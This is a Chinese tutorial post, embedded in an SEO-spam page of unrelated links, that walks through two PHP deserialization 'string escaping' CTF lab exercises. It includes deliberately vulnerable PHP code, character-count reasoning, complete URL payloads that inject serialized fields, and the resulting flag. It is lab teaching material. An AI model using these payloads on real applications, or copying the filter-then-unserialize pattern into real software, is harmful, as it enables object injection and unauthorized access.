当前位置: 首页 > news >正文

哪个网站做螺丝生意好百度小说排行榜2020

哪个网站做螺丝生意好,百度小说排行榜2020,网站的风格与布局的设计方案,传奇广告网站怎么做Web渗透—PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩…

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十五、字符串逃逸例题-增多

1.实例代码

目标:判断是否pass=='escaping'

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';                  //pass默认值为'daydream'function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];                     //$_GET[‘param’]获取值给$param
$param=serialize(new test($param));        //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param));      //对$param值进行安全性检查,filter把”flag”,”php”替换为”hack”,然后在反序列化
if ($profile->pass=='escaping'){           //判断pass是否为'escaping'echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)增多则判断一次吐出多少个字符串

        4)构造payload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user="123";         //任意字符var $pass='escaping';
}
echo serialize(new test());
?>

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;

flag被替换成hack,字符串不变,无法吐出字符串变成结构代码

";s:4:"pass";s:8:"escaping";}

$user可控,我们通过param参数进行传参,我们需要将$pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符

构造payload:

URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

十六、字符串逃逸例题-减少

1.实例代码

目标:判断vip是否为

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);return $name;
}
class test{var $user;var $pass;var $vip = false ;                     //vip默认值为falsefunction __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));      //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if ($profile->vip){                        //判断vip值是否为真echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)减少则判断吃掉的内容,并计算长度

        4)构造pyload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user = '123';          //任意字符var $pass = '123';          //任意字符var $vip = true;
}
echo serialize(new test());
?>

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;

flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串

";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

$user和$pass可控,我们通过user和pass参数进行传参,我们需要将$pass及其参数吃掉,只保留参数内容以及结构 " 符号,同时我们需要补全前面$user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)

在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。

构造payload:

URL?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://www.ritt.cn/news/23494.html

相关文章:

  • 天津做网站制作公司百度风云榜电视剧排行榜
  • web.py网站开发图片个人发布信息免费推广平台
  • 北京南站官网整合网络营销
  • 马云之前做的网站精准推广引流5000客源
  • 建站程序选择湖南株洲疫情最新情况
  • 响应式旅游网站模板下载seo导航站
  • 微网站难做么深圳网站建设维护
  • wordpress 图片环绕建设优化网站
  • 建设部执业资格注册中心网站荨麻疹怎么治疗能除根
  • wordpress常规选项中没有备案号移动优化课主讲:夫唯老师
  • 绵阳免费网站建设国外网站开发
  • 男学网站开发免费网站自助建站系统
  • 学做网站制作google下载官方版
  • 网站怎么做切换中英文优化seo培训班
  • 高端品牌网站建设明细报价报天津推广的平台
  • 江苏常州青之峰做网站开发小程序
  • 免费网站模板怎么做网站优秀网页设计
  • 母婴网站模板百度百度推广
  • 厦门市建设管理协会网站首页北京学电脑的培训机构
  • wordpress主题配置文件湖南网站营销seo方案
  • 梅州生态建设有限公司网站我想接app注册推广单
  • 做消费信贷网站价格网络整合营销案例
  • 一个一起做网站百度竞价收费标准
  • 公交车网站怎么做留言板抖音seo优化怎么做
  • 包头有没有专业做淘宝网站的什么平台可以免费打广告
  • 手机商城网站建设策划方案范文网络营销的优势与不足
  • 网站单页面怎么做的sq网站推广
  • 建设工程规范发布网站网站关键词优化工具
  • 做学校网站导航条应该有哪些智推教育seo课程
  • 网站用花生壳nas做存储自媒体平台注册下载